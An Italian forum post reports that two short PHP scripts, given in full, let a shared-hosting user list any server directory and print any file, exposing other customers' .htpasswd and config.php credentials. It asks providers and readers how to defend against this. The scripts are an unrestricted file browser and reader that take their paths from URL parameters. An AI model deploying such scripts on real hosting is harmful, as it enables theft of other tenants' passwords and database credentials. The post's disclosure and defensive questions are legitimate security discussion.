ATTENZIONE!!!
Come è possibile che la maggior parte dei servizi hosting sono completamente senza difese applicando questi due script presenti nella documentazione ufficiale di php (funzioni dir e getc):
//1° SCRIPT nominarlo dir.php
<HTML><HEAD><TITLE>Lettura Cartelle</TITLE></HEAD>
<BODY style="font: 11px/18px tahoma,arial;">
<?php $Cartella = $_GET['Cartella']; if (!$Cartella) $Cartella=$_SERVER['DOCUMENT_ROOT']; $ClassDir = dir($Cartella); echo "Percorso: ".$ClassDir->path."
\n"; ?>
<table cellpadding=0 cellspacing=0 border=0 style="font: 11px/18px tahoma,arial;">
<?php
while ($j = $ClassDir->read()) {
if ($Cartella!="/") $k = $Cartella."/".$j; else $k = "/".$j;
$i++; $ty = filetype($k);
if ($ty=="dir") $text = sprintf("<tr style=\"padding: 0px 5px;\"><td>%03d</td><td>%s</td><td>%s</td><td>%04o</td><td>%s</td><td>%s</td><td>%d</td><td><a href=\"/dir.php?Cartella=%s\">%s</a></td>\r\n",$i
,date("H:i:s Ymd",filemtime($k)),$ty,fileperms($k),fileowner($k ),filegroup($k),filesize($k),$k,$j);
else
$text = sprintf("<tr style=\"padding: 0px 5px;\"><td>%03d</td><td>%s</td><td>%s</td><td>%04o</td><td>%s</td><td>%s</td><td>%d</td><td><a href=\"/read.php?File=%s\">%s</a></td>\r\n",$i
,date("H:i:s Ymd",filemtime($k)),$ty,fileperms($k),fileowner($k ),filegroup($k),filesize($k),$k,$j);
echo $text;
}
$ClassDir->close(); ?>
</table>
</BODY>
//2° SCRIPT read.php
<?php $File=$_GET['File'];
if ($fp=fopen($File, 'r')) while(false!==($char=fgetc($fp))) echo $char; ?>
In poche parole, usando questi due script e specificando bene il percorso del dominio sul server del provider, riesco a vedere la mia cartella web ma anche tutti gli altri piani di hosting, muovendosi avanti e indietro...
Si riesce a leggere tranquillamente i file .htaccess, .htgroup, .htpasswd di altri domini che non appartegono al proprio dominio!!!!
Non solo, ma si riescono a vedere tutti i sorgenti di tutti i domini, specialmente i file config.php o altri simili dove sono contenuti user e password di accesso ai piani hosting o database...
Questo l'ho provato sia sul mio server dedicato, acquistato presso uno dei tanti provider come piano di affitto, e sia su altri provider (importanti e conosciuti) utilizzando offerte hosting di miei clienti...
HO CONTATTATO DIVERSI PROVIDER PER RISOLVERE IL PROBLEMA!!! LA RISPOSTA E' STATA PER ALCUNI NEGATIVA,PER ALTRI ERA UN'INCOGNITA...
COME DIFENDERSI??? CHE COSA FARE???
COME USARE SUEXEC CON PHP COME MODULO APACHE E/O MODULO CGI???
COME RENDERSI INVISIBILI DA TALI SCRIPT (SENZA DOVER RINUNCIARE A PHP ED FOPEN())???
GRAZIE...